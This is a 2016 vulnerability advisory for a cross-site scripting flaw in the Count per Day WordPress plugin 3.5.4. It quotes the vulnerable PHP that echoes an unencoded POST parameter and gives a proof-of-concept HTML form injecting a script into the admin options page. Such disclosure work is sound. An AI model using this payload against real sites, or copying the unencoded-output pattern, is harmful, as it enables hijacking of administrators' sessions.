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WordPress Count Per Day 3.5.4 Cross Site Scripting
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Cross-Site Scripting in Count per Day WordPress Plugin
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Yorick Koster, July 2016
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Abstract
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A Cross-Site Scripting vulnerability was found in the Count per Day
WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.
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OVE ID
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OVE-20160724-0024
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Tested versions
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This issue was successfully tested on Count per Day WordPress Plugin
version 3.5.4.
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Fix
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This issue is resolved in Count per Day version 3.5.5.
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Details
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https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_count_per_day_wordpress_plugin.html
This issue exists in the file counter-options.php and is caused due to the lack of output encoding on the limit POST parameter.
<?php // mass bots ?>
<div class="postbox">
<?php
$limit = (isset($o['massbotlimit'])) ? $o['massbotlimit'] : 25;
$limit = (isset($_POST['limit'])) ? $_POST['limit'] : $limit;
$limit_input = '<input type="text" size="3" name="limit" value="'.$limit.'" style="text-align:center" />';
In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
Proof of concept
<html>
<body>
<form action="http://<target>/wp-admin/options-general.php?page=count-per-day%2Fcounter-options.php" method="POST">
<input type="hidden" name="limit" value=""><script>alert(1);</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
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Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
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04 Aug 2016 00:00Current
7.4High risk
Vulners AI Score7.4